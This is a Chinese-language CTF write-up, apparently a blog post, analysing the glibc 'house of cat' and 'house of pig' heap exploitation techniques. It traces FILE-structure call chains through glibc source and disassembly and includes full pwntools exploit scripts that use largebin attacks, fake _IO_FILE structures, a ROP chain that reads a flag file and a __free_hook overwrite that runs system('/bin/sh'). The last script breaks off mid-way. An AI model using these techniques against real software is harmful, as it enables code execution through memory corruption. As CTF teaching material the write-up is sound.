house系1

house of cat

参考:https://bbs.pediy.com/thread-273895.htm#msg_header_h1_0(提出了这种新的方式)
该文章虽然提出了新的手法,但是有些地方省略过多,故进行了调试分析,总结出完整的一个流程,分享给大家:
位于 /malloc/malloc.c 之中可以发现 __malloc_assert 的定义,并且 __assert_fail 等同于 __malloc_assert ,而 __assert 宏定义调用了 __assert_fail :

# define __assert_fail(assertion, file, line, function)			\
__malloc_assert(assertion, file, line, function)


static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
                 const char *function)
{
    (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
                       __progname, __progname[0] ? ": " : "",
                       file, line,
                       function ? function : "", function ? ": " : "",
                       assertion);
    fflush (stderr);
    abort ();
}

#  define assert(expr)							\
     (static_cast <bool> (expr)						\
      ? void (0)							\
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION)

可以发现首先执行 __fxprintf 函数,跟踪看看,发现 _fxprintf 函数调用了 _vfxprintf ,而该函数经历了 _IO_flockfile 函数与 locked_vfxprintf 函数, _IO_flockfile 函数宏定义使用了*(_fp)->_lock即fp之中的_lock指针,故该指针必须具有写权限;

int
__fxprintf (FILE *fp, const char *fmt, ...)
{
  va_list ap;
  va_start (ap, fmt);
  int res = __vfxprintf (fp, fmt, ap, 0);
  va_end (ap);
  return res;
}

int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
	     unsigned int mode_flags)
{
  if (fp == NULL)
    fp = stderr;
  _IO_flockfile (fp);
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
  _IO_funlockfile (fp);
  return res;
}

# define _IO_flockfile(_fp) \
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)

#define _IO_lock_lock(_name) \
  do {									      \
    void *__self = THREAD_SELF;						      \
    if ((_name).owner != __self)					      \
      {									      \
	lll_lock ((_name).lock, LLL_PRIVATE);				      \
        (_name).owner = __self;						      \
      }									      \
    ++(_name).cnt;							      \
  } while (0)

着重分析一下 __vfprintf_internal 函数,实际上存在着隐藏着的定义 vfprintf 函数;

# define vfprintf	__vfprintf_internal
采用了这种方法进行隐藏函数具体实现,需要通过搜索字符来判断真正函数实现位置
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{...  
}
汇编如下(关键位置
   0x7f47b602c1bd    mov    rsi, qword ptr [rsp + 8]
   0x7f47b602c1c2    mov    rdx, rbx
   0x7f47b602c1c5    mov    rdi, rbp
 ► 0x7f47b602c1c8    call   qword ptr [r12 + 0x38]        <_IO_wfile_seekoff>
        rdi: 0x5574e203fb00 ◂— 0x0
        rsi: 0x7f47b6195208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
        rdx: 0x0
        rcx: 0x7f47b61cca00 ◂— 0x0
寄存器r12之中储存着_IO_FILE_plus.vtable指针,根据该指针偏移0x38,同样我们可以修改vtable指针偏移,那么将可以进入到vtable指针所指虚表之中所有的call地址;
修改vtable指针+0x10,此时将会进入到_IO_wfile_seekoff之中;

不过对于vtable指针存在着检查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
翻译成汇编部分:
   0x7fb58eded180    mov    r12, qword ptr [rbp + 0xd8]
   0x7fb58eded187    lea    rax, [rip + 0x1a15da]
   0x7fb58eded18e    mov    rbx, qword ptr [rsp + 0x68]
   0x7fb58eded193    lea    rcx, [rip + 0x1a0866]
   0x7fb58eded19a    sub    rax, qword ptr [rip + 0x1a2677]
   0x7fb58eded1a1    sub    rbx, qword ptr [rsp + 8]
   0x7fb58eded1a6    mov    qword ptr [rsp + 0x30], rax
   0x7fb58eded1ab    mov    rdi, rax
   0x7fb58eded1ae    mov    rax, r12
   0x7fb58eded1b1    sub    rax, rcx
   0x7fb58eded1b4    cmp    rdi, rax
 ► 0x7fb58eded1b7    jbe    0x7fb58edeea50                <0x7fb58edeea50>
 同样的,寄存器r12之中储存着vtable指针,经过一定运算cmp    rdi, rax最后进行比较,跳转;

查看 _IO_wfile_seekoff 函数,并进入 _IO_switch_to_wget_mode 函数之中查看:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  if (mode == 0)//mode不能为0,否则将进入do_ftell_wide (fp)函数
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));//需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

  if (was_writing && _IO_switch_to_wget_mode (fp))//was_writing 为1则会执行_IO_switch_to_wget_mode (fp)函数
    return WEOF;...
}
此时将进入如下函数
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;...
}
libc_hidden_def (_IO_switch_to_wget_mode)
而_IO_WOVERFLOW则为宏定义,此时我们可以执行WJUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))

#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
这么多宏定义,实际上是个call指令,进入虚表而已;
最终执行
   0x7fb58edfbd30 <_IO_switch_to_wget_mode>       endbr64
   0x7fb58edfbd34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]				//rax取_wide_data指针
   0x7fb58edfbd3b <_IO_switch_to_wget_mode+11>    push   rbx										//push 0
   0x7fb58edfbd3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi									//rbx取fake_io_file
   0x7fb58edfbd3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]				//rdx取_wide_data->IO_write_ptr 
   0x7fb58edfbd43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]				//cmp _wide_data->_IO_write_base
   0x7fb58edfbd47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>

   0x7fb58edfbd49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]				//rax取_wide_data指针偏移0xe0
   0x7fb58edfbd50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff0x7fb58edfbd55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]						//call

整理得到:

条件
(S)->_flags & _IO_UNBUFFERED == 0(即(S)->_flags & 2 == 0									//该处无需刻意注意,一般此时该位置都为0
fake_io_file+0x90 = _wide_data(指针)														//这里我们假设指向fake_io_file+0x30位置
mode != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base(fp即是我们伪造的fake_io_file
//那么这条语句则为 fake_io_file+0x50 > fake_io_file+0x48
fp->_lock是一个可写地址				//要经过宏定义_IO_lock_lock的处理,需要作为指针并写入值操作
如下为布局:
0x556d2583bb00: 0x0000000000000000      0x0000000000000421		//fake_io_file
0x556d2583bb10: 0x0000000000000000      0x0000000000000000
0x556d2583bb20: 0x0000000000000000      0x0000000000000000
0x556d2583bb30: 0x0000000000000000      0x0000000000000000		//_wide_data结构体
0x556d2583bb40: 0x0000000000000001      0x0000000000000000		//_IO_read_base  _IO_write_base
0x556d2583bb50: 0x0000556d2583bbb0      0x00007fbfae469a6d		//_IO_write_ptr  call_addr
0x556d2583bb60: 0x0000000000000000      0x0000000000000000		//			_chain
0x556d2583bb70: 0x0000000000000000      0x0000000000000000
0x556d2583bb80: 0x0000000000000000      0x0000556d2583c000		//			_lock
0x556d2583bb90: 0x0000000000000000      0x0000000000000000
0x556d2583bba0: 0x0000556d2583bb30      0x0000000000000000		//_wide_data指针
0x556d2583bbb0: 0x0000000000000000      0x0000000000000000
0x556d2583bbc0: 0x0000000000000000      0x0000000000000000		//_mode
0x556d2583bbd0: 0x0000000000000000      0x00007fbfae62c0d0		//			vtable
0x556d2583bbe0: 0x0000000000000000      0x0000000000000000
0x556d2583bbf0: 0x0000000000000000      0x0000000000000000
0x556d2583bc00: 0x0000000000000000      0x0000000000000000
0x556d2583bc10: 0x0000556d2583bb40      0x0000556d2583c7d0		//rax(跳板)	flag_addr(rdi)
0x556d2583bc20: 0x0000000000000000      0x0000000000000000
0x556d2583bc30: 0x0000000000000000      0x0000000000000000
0x556d2583bc40: 0x0000000000000000      0x0000000000000000
0x556d2583bc50: 0x0000556d2583d050      0x00007fbfae43fcd6		//rsp(rop)  ret(ret_addr)
0x556d2583bc60: 0x0000000000000000      0x0000000000000000

到这里调用链基本整理完毕了,可能有点晕了;
接下来这个则是比较简单的,largebin attack高版本的路线(共两条路线,禁止了一条路线),我们需要该攻击手段修改stderr指向堆地址(fake_io_file)

 else
       {
         victim_index = largebin_index (size);
         bck = bin_at (av, victim_index);//bck = libc_addr
         fwd = bck->fd;//fwd = largebin

         /* maintain large bins in sorted order */
         if (fwd != bck)
           {...
             if ((unsigned long) (size)
   < (unsigned long) chunksize_nomask (bck->bk))
               {
                 fwd = bck;//fwd = libc_addr
                 bck = bck->bk;//bck = largebin

                 victim->fd_nextsize = fwd->fd;//chunk+0x10 = largebin
                 victim->bk_nextsize = fwd->fd->bk_nextsize;//heap_addr+0x18 = target_addr(largebin+0x18)
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//largebin->bk_nextsize = target_addr->fd_nextsize = heap_addr
               }
             else
               {...
               }
           }...
       }

     mark_bin (av, victim_index);
     victim->bk = bck;
     victim->fd = fwd;
     fwd->bk = victim;
     bck->fd = victim;

这里给出_IO_2_1_std…等结构体定义:

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;//0x60

  struct _IO_FILE *_chain;//0x68

  int _fileno;
  int _flags2;//0x70
  __off_t _old_offset; /* This used to be _offset but it's too small.  */ //0x78

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;//0x80
  signed char _vtable_offset;
  char _shortbuf[1];//0x84

  _IO_lock_t *_lock;//0x88
#ifdef _IO_USE_OLD_IO_FILE
};
结构体_IO_FILE_complete,进入_IO_wfile_seekoff函数将采用该结构体
struct _IO_FILE_complete
{
  struct _IO_FILE _file;//0x88
#endif
  __off64_t _offset;//0x90
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;//0x98
  struct _IO_wide_data *_wide_data;//0xa0
  struct _IO_FILE *_freeres_list;//0xa8
  void *_freeres_buf;//0xb0
  size_t __pad5;//0xb8
  int _mode;//0xc0
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8
};//0xd8

exp参考自wp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './house_of_cat'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

login = lambda : r.sendafter("mew~~~~~~\n",b'LOGIN | r00t QWBQWXF admin')
cat   = lambda : r.sendafter("mew~~~~~~\n",b'CAT | r00t QWBQWXF $\xff')
def add(index,size=0x418,payload=b'/bin/sh\x00'):
    cat()
    r.sendlineafter("cat choice:\n",'1')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("cat size:\n",str(size))
    r.sendafter("content:\n",payload)

def delete(index):
    cat()
    r.sendlineafter("cat choice:\n",'2')
    r.sendlineafter("cat idx:\n",str(index))

def show(index):
    cat()
    r.sendlineafter("cat choice:\n",'3')
    r.sendlineafter("cat idx:\n",str(index))

def edit(index,payload):
    cat()
    r.sendlineafter("cat choice:\n",'4')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("content:\n",payload)

def pwndbg():
    gdb.attach(r)
    pause()

login()
add(0,0x420)
add(1,0x430)
add(2,0x418)
delete(0)
add(3,0x440)# 将0_chunk放入largebin之中,从而泄露heap与libc地址
show(0)
r.recvuntil("Context:\n")
libc_base = u64(r.recv(8))-0x21A0D0
heap_base = u64(r.recv(16)[8:])-0x290

pop_rax_ret     = libc_base+0x0000000000045eb0
pop_rdi_ret     = libc_base+0x000000000002a3e5
pop_rsi_ret     = libc_base+0x000000000002be51
pop_rdx_r12_ret = libc_base+0x000000000011f497
stderr_addr     = libc_base+0x21a860
setcontext_addr = libc_base+0x53A30
read_addr       = libc_base+0x114980
write_addr      = libc_base+0x114A20
close_addr      = libc_base+0x115100
syscall         = libc_base+0x91396
ret             = libc_base+0x0000000000029cd6

ioaddr=heap_base+0xb00
fake_io_addr  = heap_base+0xb00# fake_IO_FILE缺少0x10头部
fake_IO_FILE  = p64(0)*6#  伪造的_wide_data结构体
fake_IO_FILE += p64(1)+p64(0)#  
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE  = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE  = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE  = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE  = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE  = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
flagaddr      = heap_base+0x17d0

payload1 = fake_IO_FILE+p64(flagaddr)+p64(0)*6+p64(heap_base+0x2050)+p64(ret)

delete(2)
add(6,0x418,payload1)
delete(6)
#===============largebin attack stderr pointer===============
edit(0,p64(libc_base+0x21A0D0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(5,0x440)
add(7,0x430,b'flag\x00')
add(8,0x430)
#===============ROP===============
payload2 = flat([
    pop_rdi_ret,0,close_addr,
    pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,
    pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,
    pop_rdi_ret,1,write_addr
])
add(9,0x430,payload2)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
#===============largebin attack top_chunk->size===============
edit(5,p64(0x21A0E0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))

success(hex(libc_base))
success(hex(heap_base))
#gdb.attach(r)
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(11))
pwndbg()
r.sendlineafter("cat size:\n",str(0x450))

r.interactive()

house of pig

根据house of pig链接可以发现文章具体介绍了该手法的利用,但是细节上缺少,故进行细致分析;
首先我们分析house of pig最终的利用链是什么?

发现exit函数实际为__run_exit_handlers函数封装;
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
进入__run_exit_handlers函数看下
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{

  while (true)
    {...
      while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];...
	  switch (f->flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;...
	      onfct (status, f->func.on.arg);
	      break;
	    case ef_at:
	      atfct = f->func.at;...
	      atfct ();
	      break;
	    case ef_cxa:...
	      cxafct (f->func.cxa.arg, status);
	      break;
	    }...
    }
大概位于此位置进入_dl_fini函数(此处是通过调试汇编得到程序行数的)(本次利用不使用此函数
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);
}
通过调试,可以发现进入了_IO_cleanup函数,而该函数则是清理IO_list链表的;
   0x7fed294f499d <__run_exit_handlers+493>    sub    rax, 1
   0x7fed294f49a1 <__run_exit_handlers+497>    sub    rax, rbx
   0x7fed294f49a4 <__run_exit_handlers+500>    shr    rax, 3
   0x7fed294f49a8 <__run_exit_handlers+504>    lea    r12, [rbx + rax*8 + 8]
   0x7fed294f49ad <__run_exit_handlers+509>    nop    dword ptr [rax]0x7fed294f49b0 <__run_exit_handlers+512>    call   qword ptr [rbx]               <_IO_cleanup>
        rdi: 0x7fed294ad108 (signgam) ◂— 0x0
        rsi: 0x0
        rdx: 0x1
        rcx: 0x0

此时我们进入 _IO_cleanup 函数发现:

int
_IO_cleanup (void)
{
  int result = _IO_flush_all_lockp (0);
  _IO_unbuffer_all ();
  return result;
}
发现_IO_cleanup为_IO_flush_all_lockp的封装,故进入_IO_flush_all_lockp函数查看
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {//循环获取io_list链表,一般为<_IO_2_1_stderr_>-》<_IO_2_1_stdout_>-》<_IO_2_1_stdin_>
      run_fp = fp;//tmp_fp获取FILE结构体,我们可以伪造IO_list_all的值,也可以伪造_chain值(也就是bk)...
//这里我们需要执行_IO_OVERFLOW函数,该函数可以伪造vtable进而使其成为_IO_str_overflow函数
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0//我们需要满足fp->_mode <= 0以及fp->_IO_write_ptr > fp->_IO_write_base条件即可
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//根据vtable+偏移跳转
	result = EOF;...
    }...
}

此时程序流应位于 _IO_str_overflow 函数之中,我们查看源码分析流程:

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{...
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else//这里需要fp->_flags为0
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);//old_ble = fp->_IO_buf_end - fp->_IO_buf_base(这里我们通过伪造_IO_buf_end以及_IO_buf_base来控制old_blen变量的大小,进而操控接下来的malloc申请size的大小
	  size_t new_size = 2 * old_blen + 100;//进行一定运算
	  if (new_size < old_blen)//进行判断是否溢出
	    return EOF;
	  new_buf = malloc (new_size);//申请堆块,相当于我们能申请0x64~无穷大的堆块
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)//这里需要伪造_IO_buf_base,指向我们的payload的地址
	    {
	      memcpy (new_buf, old_buf, old_blen);//将准备好的payload复制于新申请的new_buf之中
	      free (old_buf);//再次释放,house of pig手法利用了此次free来执行__free_hook,进行获取权限;故接下来的程序就无用了...
}
libc_hidden_def (_IO_str_overflow)

到此刻我们的利用链条终于分析完毕了,解下来,则是根据题目进行调试分析;以xctf final的house_of_pig题目为例(题目整体堆分水较为精妙),利用难度并不低;
在这里插入图片描述
可以看到整体较为复杂,在pwn题目之中可谓复杂至极,程序之中共有3个角色,增删改查函数3个角色各不相同;不过位于delete函数之中都存在着UAF漏洞,而add与edit存在输入位置也不是连续输入,而是输入0x10字节,偏移0x30再次输入(不存在溢出);

但是程序之中存在着一次连续输入,如下:
在这里插入图片描述
而角色切换涉及到了部分逆向,不过最终是利用截断实现角色切换的过程的;
在这里插入图片描述
整体比较复杂,首先我们进行准备阶段;此时我们将填充tcache[0xa0]数量5个,填满tcache[0x160]和tcache[0x190],并利用切割unsortedbin的手段,使切割剩余的部分进入到smallbin之中;重复切割两次,使得smallbin[0xa0]存在2个堆块;

#========tcache stashing unlink attack========(准备)
change_role(2)
for i in range(5):#填充tcache[0xa0].count = 5
    add(0x90)
    delete(i)
change_role(1)
add(0x150)#0 role1
for i in range(7):#填充tcache[0x160].count = 7
    add(0x150)#0 role1
    delete(i+1)
delete(0)#  role1 unsortedbin[0x160]->smallbin[0xa0]

change_role(2)
add(0xb0,b'a'*0x40,flag=1)#5 role2

change_role(1)
add(0x180)#8 role1
for i in range(7):#填充tcache[0x190].count = 7
    add(0x180)
    delete(i+9)
delete(8)#  role1 unsortedbin[0x190]->smallbin[0xa0]

change_role(2)
add(0xe0,b'b'*0x50,flag=1)#6 role2

第二步,我们便要泄露地址,利用一个角色制造出largebin,然后泄露出libc基址以及heap的地址;

#========leak========
change_role(1)
add(0x430)#16 role1

change_role(2)
add(0xf0)#7 role2

change_role(1)
delete(16)# unsortedbin[0x440]->largebin

change_role(2)
add(0x440,b'c'*0x170,flag=1)#8 role2

change_role(1)
libc_base = show(16,1)-1120-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
io_list_all = libc_base+libc.sym['_IO_list_all']
edit(16,b'd'*0xf+b'\n')
show(16)
r.recvuntil("ddddddddddddddd\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x13940

第三步,第一次largebin_attack,修改__free_hook-0x8位置为堆地址,符合tcache stashing unlink attack的fake_chunk的bk指针要求可写的条件;为接下来的利用作准备;

#========first largebin attack========
edit(16,p64(libc_base+0x1ECFE0)*2+b'\n')#恢复被破坏的指针
add(0x430)#17 role1
add(0x430)#18 role1
add(0x430)#19 role1

change_role(2)
delete(8)# unsortedbin[0x450]->largebin[0x450]
add(0x450)

change_role(1)
delete(17)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')#修改largebin[0x450]的fd_nextsize和bk_nextsize

change_role(3)#0 role3
add(0xa0,b'e'*0x40,flag=1)#largebin_attack 写入free_hook-0x8为unsortedbin地址
# 这里申请了0xa0堆块,首先unsortedbin被放入了largebin之中,触发了largebin_attack,
# 而largebin输入FILO算法,此时对放入largebin之中的unsortedbin进行切割并放回unsortedbin之中
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复largebin的fd_nextsize等指针

第四步,第二次largebin_attack攻击_IO_list_all指向已知堆地址,并修改fake_io_file(已知堆地址)的_chain指向伪造好的要劫持程序流的fake_io_file;

#========second largebin attack========
change_role(3)#1 role3
add(0x380,b'f'*0x130,flag=1)#申请回unsortedbin上的堆块
change_role(1)
delete(19)# unsortedbin[0x440]

change_role(2)
edit(8,p64(0)+p64(io_list_all-0x20)+b'\n')#伪造largebin指针

change_role(3)#2 role3
add(0xa0,b'g'*0x40,flag=1)#largebin_attack 同理
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复指针

最后,我们输入伪造的fake_io_file并进入exit函数,最终执行 _IO_cleanup ,连续调用malloc、memcpy、free完成攻击;

#========tcache stashing unlink attack and file attack========
change_role(1)
edit(8,b'a'*0x50+p64(heap_base+0x12280)+p64(free_hook-0x20)+b'\n')#修改smallbin的bk指针,将fake_chunk放入tcache之中

change_role(3)
add(0x440,(b'\x00'*0x18+(p64(heap_base+0x147c0))).ljust(0x160,b'\x00'),flag=1)#3 role3 申请largebin并写入_chain值
add(0x90)#5 role3 连续性写入fake_io_file 并造成tcache stashing unlink attack

fake_io_file = flat({
    0x10: 1 ,#_IO_write_base
    0x18: 0xffffffffffffffff ,#_IO_write_ptr
    0x20: 0 ,#_IO_write_end
    0x28: heap_base+0x148a0 ,#_IO_buf_base
    0x30: heap_base+0x148b8 ,#_IO_buf_end
    0xb0: 0 ,#_mode
    0xc8: libc_base+0x1E9560#libc.sym['_IO_str_jumps']#vtable
},filler=b'\x00')
#payload = fake_io_file+b'/bin/sh\x00'+p64(system_addr)*2
r.send(payload)
success("libc_base -> "+hex(libc_base))
success("heap_base -> "+hex(heap_base))
#pwndbg()
r.sendlineafter("Choice: ",'5')
r.sendlineafter("user:\n",b'')

r.interactive()

附上最终exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pig'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

def add(size,payload=b'binsh\x00\x00\x00',fake_pay=b'',flag=0):
    r.sendlineafter("Choice: ",'1')
    r.sendlineafter("message size: ",str(size))
    if flag&1:
        r.sendafter("message: ",payload)
    else:
        r.sendafter("message: ",payload*int(size*2/0x30))
    if flag&2:
        r.sendafter("01dwang's Gift:",fake_pay)

def show(index,flag=0):
    r.sendlineafter("Choice: ",'2')
    r.sendlineafter("message index: ",str(index))
    if flag:
        r.recvuntil("The message is: ")
        return u64(r.recv(6).ljust(8,b'\x00'))

def edit(index,payload):
    r.sendlineafter("Choice: ",'3')
    r.sendlineafter("message index: ",str(index))
    r.sendafter("message: ",payload)

def delete(index):
    r.sendlineafter("Choice: ",'4')
    r.sendlineafter("message index: ",str(index))

def change_role(role):
    r.sendlineafter("Choice: ",'5')
    if role == 1:#20
        r.sendlineafter("user:\n",b'A\x01\x95\xc9\x1c')
    elif role == 2:#10
        r.sendlineafter("user:\n",b'B\x01\x87\xc3\x19')
    elif role == 3:#4 5=fake_io_file
        r.sendlineafter("user:\n",b'C\x01\xf7\x3c\x32')
def pwndbg():
    gdb.attach(r)
    pause()

#========tcache stashing unlink attack========(准备)
change_role(2)
for i in range(5):#填充tcache[0xa0].count = 5
    add(0x90)
    delete(i)
change_role(1)
add(0x150)#0 role1
for i in range(7):#填充tcache[0x160].count = 7
    add(0x150)#0 role1
    delete(i+1)
delete(0)#  role1 unsortedbin[0x160]->smallbin[0xa0]

change_role(2)
add(0xb0,b'a'*0x40,flag=1)#5 role2

change_role(1)
add(0x180)#8 role1
for i in range(7):#填充tcache[0x190].count = 7
    add(0x180)
    delete(i+9)
delete(8)#  role1 unsortedbin[0x190]->smallbin[0xa0]

change_role(2)
add(0xe0,b'b'*0x50,flag=1)#6 role2
#========leak========
change_role(1)
add(0x430)#16 role1

change_role(2)
add(0xf0)#7 role2

change_role(1)
delete(16)# unsortedbin[0x440]->largebin

change_role(2)
add(0x440,b'c'*0x170,flag=1)#8 role2

change_role(1)
libc_base = show(16,1)-1120-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
io_list_all = libc_base+libc.sym['_IO_list_all']
edit(16,b'd'*0xf+b'\n')
show(16)
r.recvuntil("ddddddddddddddd\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x13940
#========first largebin attack========
edit(16,p64(libc_base+0x1ECFE0)*2+b'\n')#恢复被破坏的指针
add(0x430)#17 role1
add(0x430)#18 role1
add(0x430)#19 role1

change_role(2)
delete(8)# unsortedbin[0x450]->largebin[0x450]
add(0x450)

change_role(1)
delete(17)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')#修改largebin[0x450]的fd_nextsize和bk_nextsize

change_role(3)#0 role3
add(0xa0,b'e'*0x40,flag=1)#largebin_attack 写入free_hook-0x8为unsortedbin地址
# 这里申请了0xa0堆块,首先unsortedbin被放入了largebin之中,触发了largebin_attack,
# 而largebin输入FILO算法,此时对放入largebin之中的unsortedbin进行切割并放入unsortedbin之中
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复largebin的fd_nextsize等指针
#========second largebin attack========
change_role(3)#1 role3
add(0x380,b'f'*0x130,flag=1)#申请回unsortedbin上的堆块
change_role(1)
delete(19)# unsortedbin[0x440]

change_role(2)
